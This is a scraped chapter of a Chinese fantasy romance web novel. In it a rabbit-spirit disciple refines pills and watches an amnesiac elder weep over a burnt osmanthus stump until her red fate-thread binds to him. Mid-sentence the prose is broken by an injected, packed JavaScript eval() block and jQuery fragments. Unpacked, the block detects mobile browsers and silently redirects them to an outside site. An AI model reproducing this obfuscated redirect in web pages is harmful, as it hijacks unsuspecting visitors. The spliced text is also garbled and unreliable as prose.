默认冷灰
24号文字
方正启体

9. 第 9 章

作者:拾玖两墨本书字数:K更新时间:
    指尖绽出一朵灵火,慕小满深吸一口气,开始炼化药材。


    各色药材在幽蓝色的灵火中逐渐化成药液。


    炼化的过程需要高度集中精神,慕小满闭着双眼。


    清苦的药香弥漫在这小小一方洞府,慕小满身边的空气突然扭曲,裂开一道口子。


    越怀山抬手掀开变形的空间,广袖翩翩。


    少女盘坐在地,指尖不停变化法诀,一小簇幽蓝的灵火忽大忽小,轻盈地跳跃着。不远处还飘着两个丹炉,炉子同样有一小簇灵火,已经炼化的药液在炉子里温着。


    越怀山看着丹炉,左手抬起,顿了一下,似乎是想起来什么,而后随意一划,破开的空间口子滚出来一个格外小巧的丹炉。


    他将这个小炉子放在堆满草药的小几上。


    兔子自己在洞府边边放了一张小几,堆了些东西。


    几本阵法书放在案子边,笔直接架在砚台上,旁边摞着练习的黄纸。


    良久,慕小满深吸一口气,缓缓睁开双眼,小心翼翼将药液移入左边的丹炉。


    指尖微动,各色药液融合在一起,炉子底的灵火陡然变大,药液不断浓缩,最终凝成汤圆大小的一团。


    慕小满拿出放在一旁的盖子,把这个炉子给盖上。


    开始忙活另一边的炉子,一边加药一边收尾,如此循环往复大半天,案子上青白色的小瓶一溜排开。


    最后一炉丹开炉,慕小满把丹药倒出来分到瓶子里。


    这些任务大多要的都是寻常丹药,只是品级上稍微有些要求,药行都是走量做生意,普通丹药的质量一般都不太好,这才会有人发布任务求一些好一点的常用丹药。


    挨个贴上标签,全部起来,做完这一切,她已经累的想倒头就睡。


    操纵灵火还是很耗费心神的,加上她两个炉子左右开弓,还要顾着正在炼化的药材……


    慕小满一头倒在案子上,趴着不想起来。


    腰酸背痛,浑身无力。


    任务还是明日去消算了,现在她只想赶紧把自己今日十张聚气符的功课完成。


    案子上展开的油纸上零星还剩了些药材,散发着苦香,她喜欢熬药炼丹原因之一就是喜欢各种药材的味道,能让她睡个好觉。


    酸软的胳膊有了些知觉,刚撑起身子,胳膊就碰到了个什么圆滚滚的东西。


    那东西在案子上滚了两下,咕噜咕噜摔在地上,发出一声闷响,落在她脚边。


    是一个丹炉。


    慕小满捡起来细细打量。


    稍比巴掌大一些,上面镂着缠枝卷草纹。


    好东西!


    八成是老祖从手指缝漏出来给她的。


    “老祖!”慕小满困意全无,抱着丹炉起身跑到越怀山跟前,“谢谢老祖,我很喜欢这个丹炉。”


    越怀山捏着笔在抄书,眼睫一颤,抬眼看去。


    少女把丹炉抱在怀里,爱不释手,正细细看着上面镂刻的纹路。


    像是终年无波的深潭偶然落了一颗细小的石子,涟漪一圈一圈散开。


    越怀山想起昨夜的梦。


    几百年不变的朦胧梦境变了。


    他搁下笔,慕小满竖起耳朵,玉制的笔身和砚台轻轻一碰,细小而清脆的小声音。


    她喜欢这种声音。


    慕小满大着胆子凑上去看越怀山每日都在抄什么东西,毕竟他的字实在不好看。


    刚抄好的书页墨还没有干,上面画着些符号,偶尔有几个朱砂笔画。


    “老祖,这是什么啊?”她实在好奇,顺嘴问道。反正她刚刚探头去看也没被拦下,想来是可以问的。


    越怀山把已经干了的书页对折,细细摞好,“乐谱。”


    慕小满双眼放光,伸手想要拿一张来看,却被越怀山拿着笔杆子一敲。


    她缩回手,哼道:“不看就不不看,老祖怎么还打人呢。”


    越怀山反握毛笔,朱砂在他掌心留下一个鲜红的墨痕,平白看起来多了点妖冶多情。


    他不动声色施了个清尘咒,然后微微低头,把一侧的头发撩了上去。


    那缕白发似乎是被他特意留在身前,越怀山解下平时藏在发间的耳坠。


    慕小满有些疑惑,老祖这是要打扮梳妆?奇也怪哉。


    不过她也是现在才顺着他的动作看清耳坠的样子,并不是无事牌,而是一截竹子样的坠子。


    越怀山手指一转,手里便已经出现一支白□□箫。


    原来是只萧。


    原本在耳坠最上方的一颗青色玉珠子化成了长长的穗子。


    慕小满又被变成兔子揣在怀里带走了。


    越怀山御剑到了后山的一处山坡。


    慕小满从袖子里跳出来,化成人形。


    越怀山经常这样,这半个月里,她每次和越怀山说到什么新的东西,他时不时就会把自己带到这落云宗各种偏僻的角落。


    一呆就是半天,所以她早就随身带着笔墨,方便随时随地练习画符。


    慕小满已经把笔拿在手上了。


    这山坡看起来看起来也是平日没人来的地方,石板小路已经有了些许裂痕,石缝里钻出好些嫩青小草。


    越怀山今天没有一言不发的盘腿打坐,而是沿着小路往前走。


    “老祖,老祖。”慕小满跟在后面,“你是不是想起什么了?”


    失忆的人会对以往记忆里的事物有莫名其妙的熟悉感,若是时常见旧人旧物,是有很大可能恢复记忆的。


    慕小满很想让越怀山恢复记忆,这样她肯定就能学到更厉害的功法符篆,崔英歌好歹还有个师兄日日指点两句,她就只能抱着一堆生怕撕坏了的古籍生啃。


    越怀山突然止住脚步,慕小满在他身后差点一个趔趄撞上去。


    入目是一个巨大无比的树桩。


    应该是多年前就砍去了,裂着好几道口子,外面一圈树皮发黑,看起来似乎是被烧过,和这处的生机勃勃格格不入。


    越怀山坐在了树桩旁边,捏着洞箫的手用力,指尖有些微微发白。


    他举起手,抵唇吹箫。


    箫声不似笛声,吹不出或清越悠扬或慷慨激昂的曲调。


    低而缓。


    如泣如诉。


    慕小满坐在树桩上,手指抵在树桩边缘,一下一下摩挲着。


    这是一株桂花树,长成这样的大小,少说也要几百年的时间。


    她忽然就想起之前听得那个传闻,桂花仙子破怀山老祖道心。


    总觉得这个传闻比之前乐掌门说的要可信的多,不然这个老祖大半夜拉着她来这荒无人烟的地方吹箫。


    慕小满随手揪了根草叶,含在嘴里。


    呸,这草好苦。


    弦月渐隐层云间,星子几点。


    月华如水,周遭除了呜咽般的箫声就只剩下了偶尔吹过的风,扫过耳廓时带着细小的风声。


    撩起慕小满耳畔溜出来的碎发,扫在她脸上,痒痒的,无端惹得兔子有些烦。


    冷死了,吹什么吹。


    慕小满偏过头,想要理一理凌乱的发丝。


    老祖他,怎么,哭了……


    越怀山盘坐在地上,闭着双


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292934|198541||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眼吹箫,唇间细小的气流化作哀婉如泣的曲子,白衣胜雪,今夜月色根本不好,周遭都黑黢黢的,可他周身还是仿若笼着一层朦胧清浅的月光。


    眼睫微微翕动,原本流到唇边的泪痕蜿蜒生长,落在颌边。


    忽的,有一点银光闪落。


    慕小满上次见人哭还是自己师父,可那个时候她是个什么都不懂的兔子,师父的往事自己更是全然不知。


    如今让她陡然面对这月下的两行清泪,她可真是不知道怎么办才好,只能偏过脸去。


    这……


    如今她更确定那位桂花仙子的事情是真的了。


    而现在看来,老祖怕不是忘了所有事情独独记得桂花仙子。


    慕小满化成、兔子,从树桩上跳下去,躲到了另一边。


    她自己的姻缘线都还不知道连在什么地方呢,安慰人她挺擅长的……可是安慰受了情伤的男子……还差了辈。


    怎么想都是不是她要干的事情。


    天大地大,睡觉最大。


    可慕小满就算化成原形,把自己团成一小团,脑海里始终闪着那一点银光。


    避无可避。


    越怀山隐约听见这边的动静,睁开了双眼,停了吹奏,把洞箫从唇边移开。


    琉璃般的双目布满血丝,看起来极为可怖,胸前腿面的衣服晕开几点暗色泪痕。


    “祝珖。”


    吹了许久的箫,陡然说第一句话,声音哑的不成样子。


    越怀山嗫嚅着,把耳坠重新穿了回去。


    慕小满在心中暗道,况珖?这就是那个桂花仙子的名字?


    她在心中默念了好几遍,总觉得有股上不上来的熟悉感。


    可一时半会儿也不知道是哪里不对劲。


    正想着,她突然化成人形。


    慕小满吓了一跳,但还是一个鲤鱼打挺就从地上蹦起来了。


    今天老祖不准备把她揣着带回去了?


    这莫不是想起了心上人要和其他女子都保持距离?


    慕小满心里没由来的涌上来一股酸。


    越怀山背手抽开发带,上前两步,盯着她看。


    慕小满被他直勾勾的眼神盯得发毛,下意识往后退了半步,“老祖……”她想说她要不先走,可越怀山已经上前抓住了她的手。


    他的手,怎么这样冷?


    慕小满心里只有这一个念头。


    越怀山这会儿没有看她了,而是低头将方才解下来的发带,细细缠在慕小满纤细的手腕上。


    发带很长,一圈一圈,似乎怎么绕都绕不完……


    “老祖,你是……想起来什么了吗?”


    越怀山正在打结的手顿了一下,垂眸良久,摇了摇头,“并未。新梦而已。”


    原本还带着一点点怀疑,这样一说,慕小满直接确定了心中的猜想,什么梦不梦的,肯定就是想起来了。


    肯定是想起来了。


    越怀山打完结,松开了手,往后退了一步,两步。


    步子迈的格外小,似乎是舍不得拉开两人之间的距离……


    慕小满看着越怀山在夜色中闪着一点泪光的琉璃眸,悬在半空的手还未放下,就往前追了半步。


    就在此时,她忽的觉察到指缝间有些异样。


    掀开袖子,指尖上的红鸾姻缘线正在以不可思议的速度生长着。


    谷中起了大风,吹的发丝狂舞,眼前有些朦胧,只觉得越怀山一袭白衣宛若魂魄,而自己的红线混着风声直直冲向那一缕幽魂……


    线。


    连着越怀山的心口。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)